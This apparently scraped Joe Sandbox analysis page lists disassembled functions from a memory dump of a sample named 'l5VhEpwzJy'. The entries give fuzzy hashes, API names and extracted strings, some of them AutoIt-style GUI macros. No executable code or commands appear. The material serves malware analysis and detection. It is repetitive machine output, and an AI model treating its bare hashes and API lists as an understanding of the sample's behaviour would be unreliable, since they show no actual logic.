                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HeapProcess
                                                          • String ID:
                                                          • API String ID: 54951025-0
                                                          • Opcode ID: cf50d128dd3344e2a26665cf24b57cc892866eab895f7b642e8f36e24e0f0ced
                                                          • Instruction ID: b7be691ea40c75410eae2fb20f084d12dacdd5527f9ea517bb4be6060e5a9d44
                                                          • Opcode Fuzzy Hash: cf50d128dd3344e2a26665cf24b57cc892866eab895f7b642e8f36e24e0f0ced
                                                          • Instruction Fuzzy Hash: 45B09220E07A02C2EA08AB116C8621822A4FF59F10F984179C00DC1360EF2C28A99F11
                                                          Function 00007FF6A53858D0 Relevance: .7, Instructions: 692COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
                                                          • Instruction ID: 70bb51c9f6c44da0a0fec619c239f00d6b353e03e914cc4749fb578c01c8d0f3
                                                          • Opcode Fuzzy Hash: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
                                                          • Instruction Fuzzy Hash: A1529332A2BE4296EA29DE25D09427C23A5EFA7F84F154575DA1DC7681EF3CEC40C342
                                                          Function 00007FF6A537B390 Relevance: .7, Instructions: 682COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Concurrency::cancel_current_task
                                                          • String ID:
                                                          • API String ID: 118556049-0
                                                          • Opcode ID: 54ea379b6933a2f7891689b7482b854677ea559cdf84cfd131d35102b8e395fc
                                                          • Instruction ID: 979ab7ec59b5873ebf36d2ab50a7ccbe9d4253cc13a3f1cf7e8026c894d589ad
                                                          • Opcode Fuzzy Hash: 54ea379b6933a2f7891689b7482b854677ea559cdf84cfd131d35102b8e395fc
                                                          • Instruction Fuzzy Hash: 4B525C72F1AE42D9EB10DF65D0542BC23B1EB86B98F514235DE1DA7799EE38E805C380
                                                          Function 00007FF6A53A30DC Relevance: .5, Instructions: 535COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                          • Instruction ID: 40e2f092afcb3d74cb8057f61160a0e3fce3767afc5b7fce54c494b46c3407cd
                                                          • Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                          • Instruction Fuzzy Hash: 6B424121D2EE6A85E653CF35A8515396324FF93BC4F018377E94EFA651EF2CA8428700
                                                          Function 00007FF6A53B6DE4 Relevance: .2, Instructions: 194COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
                                                          • Instruction ID: d2c807ae38e57578ac61d8c92ef142d50bfedeff0663b2907561d750e8e7adb6
                                                          • Opcode Fuzzy Hash: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
                                                          • Instruction Fuzzy Hash: B6712C22F2EE4246F764FA6A858063C6291AFC2B60F160639D65DC76C3FE7DEC408710
                                                          Function 00007FF6A541E95C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                          • String ID:
                                                          • API String ID: 3521893082-0
                                                          • Opcode ID: 1cd5b57b0336fd186969432b618717eab94bda453c6dff546726578791da5eb2
                                                          • Instruction ID: 14e586c0adb13a23855e8c0e265319ac82f5e930c58f4cbb3192b5e85604dd62
                                                          • Opcode Fuzzy Hash: 1cd5b57b0336fd186969432b618717eab94bda453c6dff546726578791da5eb2
                                                          • Instruction Fuzzy Hash: 48A1B136F0AA1286EB14DB61A8455BC27A1FB5AFB4F004234CE2ED7BD4EF3C98548750
                                                          Function 00007FF6A53F4F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$DriveType
                                                          • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                          • API String ID: 2907320926-4222207086
                                                          • Opcode ID: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
                                                          • Instruction ID: e3d962d0277a089fd39c3b02892e4095e3c4540efe22a9e1339b3a59b66b4238
                                                          • Opcode Fuzzy Hash: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
                                                          • Instruction Fuzzy Hash: 1AB14E21B2FE06A1EA54DF25D6401BC2761AFA2F84B945235D90EDB699FF3CED498300
                                                          Function 00007FF6A541ECB4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                          • String ID:
                                                          • API String ID: 1996641542-0
                                                          • Opcode ID: 8b26a8683c5e984684614486c2ac5339cef57ee1bd772f59a75bb9a4d18b3196
                                                          • Instruction ID: 8e3046ac37301f89b4f67b29d86f8e57aaaabe2fb134ac8372c06bc5c2802c4d
                                                          • Opcode Fuzzy Hash: 8b26a8683c5e984684614486c2ac5339cef57ee1bd772f59a75bb9a4d18b3196
                                                          • Instruction Fuzzy Hash: DE716E36A0AA5186E724DB15E84467E67A1FB9AFB0F004234DD6EC7B94DF3CD8448B10
                                                          Function 00007FF6A5416EA0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 268windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                          • String ID: tooltips_class32
                                                          • API String ID: 698492251-1918224756
                                                          • Opcode ID: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
                                                          • Instruction ID: aed36ded07e7788315e47477e672db6b0553ba2cc27af1e3792afdcea32db825
                                                          • Opcode Fuzzy Hash: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
                                                          • Instruction Fuzzy Hash: 1FC12D32A19B418AEB14CF65E4442AE77A0FB8AB94F504035EB5E8BB54DF3CE851CB10
                                                          Function 00007FF6A53E2C10 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                          • String ID: @
                                                          • API String ID: 3869813825-2766056989
                                                          • Opcode ID: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
                                                          • Instruction ID: eed1b3cdd92bb9ca3f76737c9f7a2c621189324a456e9e291a16031841117dab
                                                          • Opcode Fuzzy Hash: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
                                                          • Instruction Fuzzy Hash: 42814732A16A5286E740CF75D8546BD23A0FB86F98F408531EE4EEB658EF38DD45C700
                                                          Function 00007FF6A5372620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Color$LongWindow$ModeObjectStockText
                                                          • String ID:
                                                          • API String ID: 554392163-0
                                                          • Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                          • Instruction ID: 60dc04fa212a5b39f576466bbdf1697e04b26784347e00011a2ae2153a66d14f
                                                          • Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                          • Instruction Fuzzy Hash: 2581D621D2AD5681EA70D72594482BD2392EFC7F60F558232E99DC7AE5EF3CAC42C740
                                                          Function 00007FF6A53EC81C Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
                                                          • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                          • API String ID: 222038402-1459072770
                                                          • Opcode ID: 0785a5cd384800967fac1954de2d7100ba5b013ffeae15576df341926bfd551c
                                                          • Instruction ID: 7a6edfe721b8fe97057edaccfd391b7a2b885a8d6a7c061befc45a50c42104ad
                                                          • Opcode Fuzzy Hash: 0785a5cd384800967fac1954de2d7100ba5b013ffeae15576df341926bfd551c
                                                          • Instruction Fuzzy Hash: 8C514E61B2AA4296EA14EB2295511BD6391FFC7FD0F408431ED0E8BB96EE3CED01C704
                                                          Function 00007FF6A5416608 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BuffCharMessageSendUpper
                                                          • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                          • API String ID: 3974292440-4258414348
                                                          • Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                          • Instruction ID: 4b0ba7bec6edfae1c7922c03ed671bc8dcc2b934939264b5e909b65bdc2f245e
                                                          • Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                          • Instruction Fuzzy Hash: 7B12A052B2BA5382FE60DB6984111BD67A0FF96F94B484531DF4EC6B85EE3CEC518320
                                                          Function 00007FF6A5421254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
                                                          • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                          • API String ID: 2091158083-3440237614
                                                          • Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                          • Instruction ID: 40b482ac10b1bd09fcf217f08f97a664c1be3f587692958f2086455bded1f4f9
                                                          • Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                          • Instruction Fuzzy Hash: 0D717132A19A9296E710DF25E8447ED7720FB86F94F805032EA4E87A99DF7CD949C700
                                                          Function 00007FF6A54203D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                          • String ID:
                                                          • API String ID: 3840717409-0
                                                          • Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
                                                          • Instruction ID: fb3707c22d0b2ebdb550ab21f6a2f547ff47059218dd4f03f26baf02f77d0528
                                                          • Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
                                                          • Instruction Fuzzy Hash: 80515536B16B6186EB14CF62E844AAD37A0FB89F98B504175DE1E83B14EF3DD845C700
                                                          Function 00007FF6A53F0D70 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit
                                                          • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                          • API String ID: 2610073882-3931177956
                                                          • Opcode ID: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
                                                          • Instruction ID: 3499d92f44035c6c1ba27ef662c8e46ae83a3658f1938b90962ebd036902e051
                                                          • Opcode Fuzzy Hash: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
                                                          • Instruction Fuzzy Hash: 87028172E1AE4285FA59DB65D16417C63A1FF86F80F094136CB0E8BA94EF2DED58C340
                                                          Function 00007FF6A53F246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
                                                          • String ID: aut
                                                          • API String ID: 130057722-3010740371
                                                          • Opcode ID: 09c898fc2780f4e0ca674ad5e1104b136ab1fb794feaee04de909ab2bd9de1aa
                                                          • Instruction ID: 129e8cc76001603fa2b5b901fa03ad5e1e16c0f3b3d9e12852c42b0f1745b2b8
                                                          • Opcode Fuzzy Hash: 09c898fc2780f4e0ca674ad5e1104b136ab1fb794feaee04de909ab2bd9de1aa
                                                          • Instruction Fuzzy Hash: 54C13572619AC695EB20DF25E8506E97750FF86B88F404036FA4D8BB59EF7CDA09C700
                                                          Function 00007FF6A541E40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageSend$CreateDestroy$DesktopRect
                                                          • String ID: tooltips_class32
